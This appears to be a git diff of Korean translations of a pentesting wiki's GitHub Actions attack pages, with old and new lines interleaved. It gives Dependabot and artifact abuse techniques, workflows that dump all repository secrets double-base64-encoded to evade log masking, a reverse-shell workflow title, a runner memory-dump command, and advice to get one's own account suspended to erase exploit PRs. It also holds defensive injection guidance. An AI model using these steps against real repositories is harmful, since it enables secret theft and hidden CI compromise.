### Dependabot 및 기타 신뢰할 수 있는 봇
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
[**이 블로그 게시물**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)에서 언급된 바와 같이, 여러 조직은 `dependabot[bot]`의 모든 PRR을 병합하는 GitHub Action을 가지고 있습니다.
|
||||
As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
[**이 블로그 글**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)에 따르면, 여러 조직이 `dependabot[bot]`에서 온 PR을 자동으로 병합하는 Github Action을 사용하고 있습니다. 예를 들면:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -314,16 +356,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
문제는 `github.actor` 필드가 워크플로우를 트리거한 최신 이벤트를 발생시킨 사용자를 포함한다는 것입니다. 그리고 `dependabot[bot]` 사용자가 PR을 수정하도록 만드는 여러 방법이 있습니다. 예를 들어:
|
||||
이것은 문제가 된다. 왜냐하면 `github.actor` 필드에는 워크플로우를 트리거한 최신 이벤트를 발생시킨 사용자가 들어 있기 때문이다. 또한 `dependabot[bot]` 사용자가 PR을 수정하게 만드는 방법은 여러 가지가 있다. 예를 들어:
|
||||
|
||||
- 피해자 리포지토리를 포크합니다.
|
||||
- 자신의 복사본에 악성 페이로드를 추가합니다.
|
||||
- 구식 종속성을 추가하여 포크에서 Dependabot을 활성화합니다. Dependabot은 악성 코드로 종속성을 수정하는 브랜치를 생성합니다.
|
||||
- 해당 브랜치에서 피해자 리포지토리에 Pull Request를 엽니다(이 PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않습니다).
|
||||
- 그런 다음, 공격자는 자신의 포크에서 Dependabot이 열었던 초기 PR로 돌아가 `@dependabot recreate`를 실행합니다.
|
||||
- 그 후, Dependabot은 해당 브랜치에서 몇 가지 작업을 수행하여 피해자 리포지토리의 PR을 수정합니다. 이로 인해 `dependabot[bot]`이 워크플로우를 트리거한 최신 이벤트의 행위자가 됩니다(따라서 워크플로우가 실행됩니다).
|
||||
- Fork the victim repository
|
||||
- 자신의 복사본에 malicious payload를 추가한다
|
||||
- 자신의 fork에서 Dependabot을 활성화하고 오래된 dependency를 추가한다. Dependabot은 그 dependency를 수정하는 브랜치를 생성하는데, 여기에 malicious code가 포함된다.
|
||||
- 그 브랜치에서 피해자 리포지토리로 Pull Request를 연다 (PR은 사용자가 생성하므로 아직 아무 일도 일어나지 않는다)
|
||||
- 그런 다음 공격자는 자신의 fork에서 Dependabot이 처음 연 PR로 돌아가 `@dependabot recreate`를 실행한다
|
||||
- 그 후 Dependabot이 해당 브랜치에서 몇 가지 작업을 수행하여 피해자 리포지토리의 PR을 수정하게 되고, 이로 인해 최신 이벤트를 트리거한 actor가 `dependabot[bot]`이 되어(따라서 워크플로우가 실행된다).
|
||||
|
||||
계속해서, 만약 Github Action이 다음과 같은 명령 주입을 가지고 있었다면 어떻게 될까요:
|
||||
Moving on, what if instead of merging the Github Action would have a command injection like in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +375,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
잘, 원래 블로그 게시물은 이 행동을 악용하는 두 가지 옵션을 제안하며, 두 번째 옵션은 다음과 같습니다:
|
||||
Well, the original blogpost proposes two options to abuse this behavior being the second one:
|
||||
|
||||
- 피해자의 리포지토리를 포크하고 구식 종속성을 가진 Dependabot을 활성화합니다.
|
||||
- 악성 쉘 주입 코드를 포함한 새 브랜치를 생성합니다.
|
||||
- 리포의 기본 브랜치를 해당 브랜치로 변경합니다.
|
||||
- 이 브랜치에서 피해자의 리포지토리로 PR을 생성합니다.
|
||||
- PR에서 Dependabot이 연 `@dependabot merge`를 실행합니다.
|
||||
- Dependabot은 포크된 리포지토리의 기본 브랜치에 자신의 변경 사항을 병합하고, 피해자 리포지토리의 PR을 업데이트하여 이제 `dependabot[bot]`이 워크플로를 트리거한 최신 이벤트의 행위자가 되며 악성 브랜치 이름을 사용합니다.
|
||||
- 대상 리포지토리를 포크하고 오래된 의존성으로 Dependabot을 활성화합니다.
|
||||
- 악성 shell injeciton 코드를 포함한 새 브랜치를 만듭니다.
|
||||
- 리포지토리의 기본 브랜치(default branch)를 해당 브랜치로 변경합니다.
|
||||
- 이 브랜치로부터 대상 리포지토리에 PR을 생성합니다.
|
||||
- 포크에서 Dependabot이 연 PR에서 `@dependabot merge`를 실행합니다.
|
||||
- Dependabot은 포크된 리포지토리의 기본 브랜치에 변경사항을 병합하여 대상 리포지토리의 PR을 업데이트합니다. 이제 워크플로를 트리거한 최신 이벤트의 실행자는 `dependabot[bot]`이 되며, 악성 브랜치 이름이 사용됩니다.
|
||||
|
||||
### 취약한 제3자 Github Actions
|
||||
### 취약한 서드파티 Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
[**이 블로그 게시물**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)에서 언급된 바와 같이, 이 Github Action은 다양한 워크플로 및 심지어 리포지토리에서 아티팩트에 접근할 수 있게 해줍니다.
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
|
||||
문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 워크플로에서 사용되거나 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 악용하여 아티팩트를 신뢰하는 다른 워크플로를 손상시킬 수 있습니다.
|
||||
문제는 **`path`** 파라미터가 설정되지 않으면 artifact가 현재 디렉터리에 추출되어 이후 workflow에서 사용되거나 심지어 실행될 수 있는 파일들을 덮어쓸 수 있다는 점입니다. 따라서 Artifact에 취약점이 있으면 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있습니다.
|
||||
|
||||
취약한 워크플로의 예:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +415,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
이 워크플로우로 공격할 수 있습니다:
|
||||
다음 workflow로 공격할 수 있습니다:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -392,33 +434,33 @@ path: ./script.py
|
||||
|
||||
## 기타 외부 접근
|
||||
|
||||
### 삭제된 네임스페이스 레포 하이재킹
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포**를 생성하는 것을 허용합니다.
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
|
||||
> [!CAUTION]
|
||||
> 따라서 만약 어떤 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다.
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
|
||||
다른 레포가 **이 사용자 레포의 의존성**을 사용하고 있다면, 공격자는 그것들을 하이재킹할 수 있습니다. 여기에서 더 완전한 설명을 확인할 수 있습니다: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## 레포 피벗팅
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> 이 섹션에서는 첫 번째 레포에 어떤 형태의 접근 권한이 있다고 가정할 때 **한 레포에서 다른 레포로 피벗할 수 있는 기술**에 대해 이야기할 것입니다 (이전 섹션을 확인하세요).
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
|
||||
### 캐시 오염
|
||||
### Cache Poisoning
|
||||
|
||||
캐시는 **동일한 브랜치의 워크플로 실행 간** 유지됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한**의 워크플로에 의해 **다운로드** 및 실행된다면, 그 워크플로도 **손상시킬 수** 있습니다.
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### 아티팩트 오염
|
||||
### Artifact Poisoning
|
||||
|
||||
워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 만약 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수** 있습니다:
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +468,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## 액션에서의 포스트 익스플로잇
|
||||
## Post Exploitation from an Action
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### OIDC를 통한 AWS 및 GCP 접근
|
||||
|
||||
다음 페이지를 확인하세요:
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +507,15 @@ gh-actions-artifact-poisoning.md
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### 비밀 접근하기 <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### secrets에 접근하기 <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
스크립트에 내용을 주입하고 있다면 비밀에 접근하는 방법을 아는 것이 흥미롭습니다:
|
||||
스크립트에 콘텐츠를 주입하는 경우, secrets에 어떻게 접근할 수 있는지 아는 것이 중요합니다:
|
||||
|
||||
- 비밀이나 토큰이 **환경 변수**로 설정되어 있다면, **`printenv`**를 사용하여 환경을 통해 직접 접근할 수 있습니다.
|
||||
- secret 또는 token이 **환경 변수 (environment variable)**로 설정되어 있으면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action 출력에서 비밀 목록</summary>
|
||||
<summary>Github Action 출력에 secrets 나열하기</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +542,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>비밀을 이용한 리버스 셸 얻기</summary>
|
||||
<summary>secrets로 reverse shell 얻기</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +565,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- 비밀이 **표현식에 직접 사용**되면, 생성된 셸 스크립트가 **디스크에 저장**되고 접근할 수 있습니다.
|
||||
- 비밀이 **directly in an expression**에서 사용되는 경우, 생성된 셸 스크립트는 **on-disk**에 저장되어 접근 가능해집니다.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- JavaScript 액션의 경우 비밀은 환경 변수를 통해 전송됩니다.
|
||||
- JavaScript actions의 경우 secrets는 environment variables를 통해 전달됩니다
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다:
|
||||
- **custom action**의 경우, 프로그램이 **argument**에서 얻은 secret을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,27 +581,51 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### 자체 호스팅 러너 악용
|
||||
- secrets context(협업자 수준)를 통해 모든 secrets를 열거할 수 있습니다. write 권한이 있는 기여자는 어느 브랜치에서든 workflow를 수정하여 모든 repository/org/environment secrets를 덤프할 수 있습니다. GitHub의 로그 마스킹을 회피하려면 double base64를 사용하고 로컬에서 디코딩하세요:
|
||||
|
||||
비-Github 인프라에서 어떤 **Github Actions**가 실행되고 있는지 찾는 방법은 Github Action 구성 yaml에서 **`runs-on: self-hosted`**를 검색하는 것입니다.
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
**자체 호스팅** 러너는 **추가 민감 정보**에 접근할 수 있으며, 다른 **네트워크 시스템**(네트워크의 취약한 엔드포인트? 메타데이터 서비스?)에 접근할 수 있습니다. 또는 격리되고 파괴되더라도 **여러 액션이 동시에 실행될 수** 있으며, 악의적인 액션이 다른 액션의 **비밀을 훔칠 수** 있습니다.
|
||||
로컬에서 디코딩:
|
||||
|
||||
자체 호스팅 러너에서는 **\_Runner.Listener**\_\*\* 프로세스에서 **비밀을 얻는 것도 가능**하며, 이 프로세스는 메모리를 덤프하여 모든 워크플로의 비밀을 포함합니다:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
팁: 테스트 중 은밀성을 위해 출력하기 전에 암호화하세요 (openssl은 GitHub-hosted runners에 미리 설치되어 있습니다).
|
||||
|
||||
### Self-hosted runners 악용
|
||||
|
||||
어떤 **Github Actions are being executed in non-github infrastructure**인지 찾으려면 Github Action 구성 yaml에서 **`runs-on: self-hosted`**를 검색하세요.
|
||||
|
||||
**Self-hosted** runners는 **extra sensitive information**에 접근할 수 있고, 다른 **network systems**(네트워크의 취약한 엔드포인트? metadata service?)에 접근할 수 있습니다. 또는 격리되어 파괴되더라도 **more than one action might be run at the same time** 상황에서 악의적인 액션이 다른 액션의 **steal the secrets**할 수 있습니다.
|
||||
|
||||
self-hosted runners에서는 메모리를 덤프하여 워크플로우의 모든 단계에서 모든 secrets를 포함한 **secrets from the \_Runner.Listener**\_\*\* process\*\*를 얻을 수 있습니다:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
다음 [**게시물을 통해 더 많은 정보를 확인하세요**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
자세한 내용은 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker 이미지 레지스트리
|
||||
|
||||
Github에서 **Docker 이미지를 빌드하고 저장하는** 액션을 만들 수 있습니다.\
|
||||
다음 확장 가능한 예제를 확인할 수 있습니다:
|
||||
Github actions로 Docker 이미지를 Github 내부에 **빌드하고 저장**할 수 있습니다.\\
|
||||
다음 확장 섹션에서 예제를 볼 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action 빌드 및 Docker 이미지 푸시</summary>
|
||||
<summary>Github Action: Docker 이미지 빌드 및 푸시</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -565,14 +656,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
이전 코드에서 볼 수 있듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅됩니다.
|
||||
앞선 코드에서 보았듯, Github registry는 **`ghcr.io`**에 호스팅되어 있습니다.
|
||||
|
||||
레포에 대한 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용하여 Docker 이미지를 다운로드할 수 있습니다:
|
||||
리포지토리에 대해 읽기 권한이 있는 사용자는 개인 액세스 토큰을 사용해 Docker Image를 다운로드할 수 있습니다:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
그런 다음 사용자는 **Docker 이미지 레이어에서 유출된 비밀을 검색할 수 있습니다:**
|
||||
그런 다음, 사용자는 **leaked secrets in the Docker image layers:** 를 검색할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -580,15 +671,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### Github Actions 로그의 민감한 정보
|
||||
|
||||
비록 **Github**가 액션 로그에서 **비밀 값**을 **감지하고 표시하지 않으려**고 시도하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다.
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## 흔적 지우기
|
||||
## Covering your Tracks
|
||||
|
||||
(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. 기본적으로 GitHub에서는 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정이 플래그가 지정되도록 해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다).
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성된 모든 PR은 공개적으로 Github와 대상 GitHub 계정에 명확하게 표시됩니다. 기본적으로 GitHub에서는 **can’t delete a PR of the internet**, 하지만 반전이 있습니다. Github 계정이 Github에 의해 **suspended** 되면, 해당 계정의 모든 **PRs are automatically deleted** 되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub account suspended or get your account flagged** 상태가 되어야 합니다. 이것은 인터넷에서 GitHub의 모든 활동을 **hide all your activities** (기본적으로 모든 your exploit PR 제거) 합니다.
|
||||
|
||||
GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 "몇 가지 자료"를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다.
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
|
||||
> [!WARNING]
|
||||
> 조직이 자신이 표적이 되었음을 알아내는 유일한 방법은 SIEM에서 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
|
||||
> 조직이 자신들이 표적이 되었는지 파악할 수 있는 유일한 방법은 SIEM의 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+93
@@ -1,3 +1,96 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 위험 이해하기
|
||||
|
||||
GitHub Actions는 step이 실행되기 전에 ${{ ... }} 표현식을 렌더링합니다. 렌더된 값은 step의 프로그램(특히 run 단계의 경우 shell script)에 삽입됩니다. 만약 신뢰할 수 없는 입력을 run: 안에 직접 보간하면, 공격자는 shell 프로그램의 일부분을 제어하여 임의의 명령을 실행할 수 있습니다.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
핵심 포인트:
|
||||
- 렌더링은 실행 이전에 발생합니다. 모든 표현식이 해석된 상태로 run 스크립트가 생성되고, 그 다음 shell에서 실행됩니다.
|
||||
- 많은 contexts는 트리거 이벤트에 따라 사용자 제어 필드를 포함합니다(issues, PRs, comments, discussions, forks, stars 등). 신뢰할 수 없는 입력에 대한 참고는 다음을 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- run: 안의 Shell 인용(quoting)은 신뢰할 수 있는 방어가 아닙니다. 인젝션은 템플릿 렌더링 단계에서 발생하기 때문입니다. 공격자는 조작된 입력으로 인용부를 탈출하거나 연산자(operator)를 주입할 수 있습니다.
|
||||
|
||||
## 취약한 패턴 → RCE on runner
|
||||
|
||||
취약한 workflow (누군가 새 issue를 열 때 트리거됨):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
공격자가 제목이 $(id)인 issue를 열면, 렌더된 step은 다음과 같다:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
명령 치환은 runner에서 id를 실행합니다. 예시 출력:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
quoting이 안전을 보장하지 않는 이유:
|
||||
- Expressions는 먼저 렌더링되고, 그 결과로 생성된 스크립트가 실행됩니다. 신뢰할 수 없는 값에 $(...), `;`, `"`/`'`, 또는 줄바꿈(newlines)이 포함되어 있으면, quoting에도 불구하고 프로그램 구조를 변경할 수 있습니다.
|
||||
|
||||
## 안전한 패턴 (shell variables via env)
|
||||
|
||||
올바른 완화 방법: 신뢰할 수 없는 입력을 환경 변수에 복사한 다음, run 스크립트에서 네이티브 shell 확장($VAR)을 사용하세요. 명령 안에서 ${{ ... }}로 다시 임베드하지 마세요.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## 사용자(읽기 권한)가 트리거할 수 있는 지점(신뢰할 수 없음으로 취급)
|
||||
|
||||
퍼블릭 저장소에 대해 읽기 권한만 있는 계정도 여전히 많은 이벤트를 트리거할 수 있습니다. 이러한 이벤트에서 유래한 컨텍스트의 모든 필드는 달리 증명되지 않는 한 공격자가 제어하는 것으로 간주해야 합니다. 예:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (조직은 discussions를 제한할 수 있음)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (오용 시 위험, base repo 컨텍스트에서 실행됨)
|
||||
- fork (누구나 public repos를 fork할 수 있음)
|
||||
- watch (저장소에 스타를 표시하는 행위)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
어떤 특정 필드가 공격자에 의해 제어되는지는 이벤트마다 다릅니다. GitHub Security Lab의 신뢰할 수 없는 입력 가이드를 참조하세요: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Practical tips
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- 브랜치 이름, PR 제목, 사용자명, 레이블, 토론 제목, PR head refs 등을 스크립트, 명령줄 플래그 또는 파일 경로에 보간할 때는 각별히 주의하세요.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,153 +4,153 @@
|
||||
|
||||
## 기본 구조
|
||||
|
||||
대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **엔터프라이즈**를 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직만 소유하고 엔터프라이즈는 소유하지 않을 수 있습니다**.
|
||||
큰 **company**의 기본 github 환경 구조는 **enterprise**를 소유하고 그 **enterprise**가 **여러 organizations**을 소유하며, 각 조직은 **여러 repositories**와 **여러 teams**를 포함할 수 있습니다. 작은 회사는 단지 **하나의 organization만 소유하고 enterprise는 없을 수 있습니다**.
|
||||
|
||||
사용자 관점에서 **사용자**는 **다양한 엔터프라이즈 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 엔터프라이즈, 조직 및 리포지토리 역할**을 가질 수 있습니다.
|
||||
사용자 관점에서 **user**는 **다른 enterprise와 organization의 멤버**일 수 있습니다. 그 안에서 사용자는 **enterprise, organization 및 repository에 대한 서로 다른 역할**을 가질 수 있습니다.
|
||||
|
||||
또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 엔터프라이즈, 조직 또는 리포지토리 역할을 가질 수 있습니다.
|
||||
또한 사용자는 서로 다른 enterprise, organization 또는 repository 역할을 가진 **여러 teams의 구성원**일 수 있습니다.
|
||||
|
||||
마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다**.
|
||||
마지막으로 **repositories는 특별한 보호 메커니즘을 가질 수 있습니다**.
|
||||
|
||||
## 권한
|
||||
|
||||
### 엔터프라이즈 역할
|
||||
### Enterprise 역할
|
||||
|
||||
